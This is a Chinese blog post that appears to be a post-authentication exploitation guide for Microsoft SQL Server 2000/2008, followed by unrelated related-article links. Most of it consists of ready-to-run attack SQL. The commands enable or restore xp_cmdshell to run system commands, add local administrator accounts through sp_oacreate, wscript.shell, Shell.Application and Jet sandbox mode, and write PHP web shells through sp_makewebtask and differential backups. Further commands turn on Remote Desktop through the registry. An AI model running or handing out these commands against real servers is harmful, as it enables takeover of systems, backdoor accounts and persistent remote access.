本文用了 sql server 2000和sql server 2008

MSSQL连接

连接MSSQL 2000

新建连接:



填写目的IP、目的端口、用户名、密码:



一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接:

若是第一次连接,双击会提示下载驱动文件,若不成功,需多次反复尝试



新建SQL编辑器即可执行SQL语句:

查询SQL Server版本SQL语句如下:

select @@version;

执行结果:

连接MSSQL 2008

新建连接:

填写目的IP、目的端口、用户名、密码:



新建查询:



执行SQL语句,查询所有的数据库名称:

SQL语句:

SELECT Name FROM Master..SysDatabases ORDER BY Name;

执行结果:

MSSQL利用方式

xp_cmdshell

1.直接利用:

SQL语句:

exec master..xp_cmdshell 'whoami';

SQL Server 2000结果:



SQL Server 2008结果:



xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

开启xp_cmdshell命令如下:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

可以通过exec sp_configure查看xp_cmdshell状态:

exec sp_configure

再次执行系统命令:

exec master..xp_cmdshell 'whoami';

exec master..xp_cmdshell 'ipconfig';

关闭xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效

2.恢复xp_cmdshell:

判断是否xp_cmdshell存储过程,返回1代表存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

在SQL Server 2005及之前的版本,管理员可能采用下面命令可以将xp_cmdshell删除:

exec master..sp_dropextendedproc xp_cmdshell;

此时若使用xp_cmdshell,会提示“未能找到存储过程”,如下:



需使用下面命令可以恢复:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:



如果有上传权限,可以上传xplog70.dll,并执行:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

sp_oacreate(添加管理员)

SQL Server 2008不可用,SQL Server 2000可添加管理员用户:

DECLARE @js int EXEC sp_oacreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript' EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("test1");z.changePassword("test1","");z.setting("AccountType")=3;'

sp_makewebtask (写文件)

SQL Server 2008不可用,SQL Server 2000可新建文件:

exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--

写shell

exec sp_makewebtask 'C:\test1.php',' select ''<?php @eval($?_POST['cmd']);?>'' ';;--

wscript.shell(添加管理员)

SQL Server 2008、SQL Server 2000均可用:

开启(2008可以试一下,2000不用开启)

exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE

添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'

添加到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'

执行结果:

Shell.Application(添加用户)

SQL Server 2008不可用,SQL Server 2000可用:

declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test3 test3 /add','c:\windows\system32','','1';

沙盒模式

只有Windows xp 与 Windows 2003可用:

开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

执行系统命令:(添加用户)

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')

MSSQL差异备份

MSSQL 2008

查询库名:

SELECT DB_NAME();

也可以创建数据库:

create database test2;

先进行一次完整备份:

backup database test2 to disk = 'c:\test2.bak';

使用数据库:

use test2;

创建新表:

create table [dbo].[test2] ([cmd] [image]);

向表中插入数据:

insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>

进行差异备份:

backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;

访问目标地址:

3.补充

查看远程桌面开启

exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections'

开启远程桌面

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer', 'fDenyTSConnections', 'REG_DWord',0

MSSQL得知密码后getshell的更多相关文章

  1. Chrome 62 的大坑:修改密码后始终使用保存的旧密码登录

    最近有用户向我们反馈,修改密码后,怎么也登录不了我们网站,总是提示密码错误.用户确认密码肯定没错,通过用户发给我们的操作截图看,用户修改密码的操作也没问题. 开始我们没能重现出这个问题,我们检查了相关 ...

  2. 修改sys密码与nbu备份脚本密码后,nbu备份报密码无效

    公司要求口令强化,在修改sys密码后nbu的.sh脚本connect备份归档的sys/passwd也随之修改修改后每个业务备份均失败, 每次备份到归档那里就结束报密码无效,疑惑备份脚本密码也同步修改了 ...

  3. 利用phpmyadmin修改mysql的root密码及如何进入修改密码后的phpmyadmin

    1.利用phpmyadmin修改mysql的root密码 很多人利用phpmyadmin或者命令行来修改了mysql的root密码,重启后发现mysql登录错误,这是为什么呢?修改mysql的root ...

  4. xampp 用phpmyadmin在页面上修改密码后,无法登陆,密码没问题

    xampp 用phpmyadmin在页面上修改密码后,无法登陆,密码没问题一直提示密码错误, 什么原因? ------解决方案--------------------改了密码之后,phpmyadmin ...

  5. wampserver修改mysql密码后phpmyadmin登陆错误处理方法

    首先针对wampserver这个软件来说,是很方面的! 在进行使用时都会涉及到关于mysql数据管理系统的相关密码的修改,这个当然修改是很简单,当时没有想那么多,想为自己的mysql添加一个密码,方式 ...

  6. TortoiseGit拉取或推送,输入账号密码后提示 HTTP Basic: Access denied fatal: Authentication failed 解决方案

    TortoiseGit拉取或推送项目,输入账号密码后,提示 HTTP Basic: Access denied fatal: Authentication failed. 大体意思是,HTTP基本认证 ...

  7. MYSQL后更改ROOT的密码后无法启动服务报错1067

    安装MYSQL后更改了ROOT的密码后用 net start mysql 启动时报错1067.使用以下命令:1.进入mysql安装目录的bin目录下:cd C:\Program Files\MySQL ...

  8. sudo passwd root输入普通用户密码后显示用户不再sudoers文件中

    在写上一篇VirtualBox创建共享文件夹的时候,在运行下图授权时,root密码一直输入错误 然后我就在终端输入 su root,却发现需要密码,但我却不知道密码是什么 于是我就在终端输入如下命令, ...

  9. 【登录异常解决】Ubuntu 输入正确的密码后重新返回到登陆界面

    症状 Ubuntu 输入正确的密码后,黑屏一闪,重新返回到登陆界面. 原因一:主目录下的.Xauthority文件拥有者变成了root,从而以用户登陆的时候无法都取.Xauthority文件.说明:X ...

随机推荐

  1. LNMP 架构 与 部署 uwsgi 服务

    内容概要 nginx 配置文件中 location 匹配符号 LNMP 架构 uwsgi 服务部署 内容详细 一.location 使用 Nginx Location 可以控制访问网站的路径,但一个 ...

  2. Solution -「SDOI 2016」「洛谷 P4076」墙上的句子

    \(\mathcal{Description}\)   Link.   (概括得说不清话了还是去看原题吧 qwq. \(\mathcal{Solution}\)   首先剔除回文串--它们一定对答案产 ...

  3. NVDA、争渡读屏语音开放API接口

    什么是读屏软件? 读屏软件是一种专为视力障碍人士设计的,能够辅助视障人士操作计算机的工具,它可以将屏幕上显示的内容用语音朗读出来,这样视障人士就可以正常使用电脑了. 知名的屏幕阅读软件国内有争渡读屏. ...

  4. php使用CURL实现GET和POST方式请求

    CURL请求,支持GET和POST两种方式,默认为GET方式,如果传第二个参数则为POST方式请求,设置了超时时间,避免程序卡死. /** 使用curl方式实现get或post请求 @param $u ...

  5. nginx负载均衡初体验

    本例采取简单的轮询策略进行nginx的负载均衡处理. 在反向代理(参考:https://www.cnblogs.com/ilovebath/p/14771571.html)的基础上增加负载均衡处理的n ...

  6. Welcom to my studyspace! 欢迎来到我的学习空间!

    由于新手,博客才刚开始起步,用于记录我的学习,博客的建设后续需要将其完善 对我的博客进行diy 用于分享我的学习经历,一些笔记,还有一些小小的心得

  7. 使用 WebView2 封装一个生成 PDF 的 WPF 控件

    使用 WebView2 封装一个生成 PDF 的 WPF 控件 最近在迁移项目到 .net6,发现项目中用的 PDF 库不支持 .net6,于是想着换一个库.结果找了一大圈,发现不是版本不支持,就是收 ...

  8. 思迈特软件Smartbi的特色功能有哪些?

    Smartbi产品价值: 从最终用户角度 管理层:KPI监控.风险预警.绩效考核.大屏展示,移动分析,实现经营管理主题(财务.销售.人事.绩效等)的直观监控,为经营管理提供决策支持 分析人员:拖拽式的 ...

  9. 运行jar包使用外部依赖

    nohup java -Dloader.path="lib/" -Dfile.encoding=utf-8 -jar test.jar > test.out 2>&am ...

  10. 移动C盘的.gradle文件

    今天参照一位博主的方法,移动了C盘下的.gradle文件,解放C盘,就是设置了一下环境变量,然后就把gradle文件移过去了,运行是可以运行,但是再看其他博主的方法都需要AndroidStudio下的 ...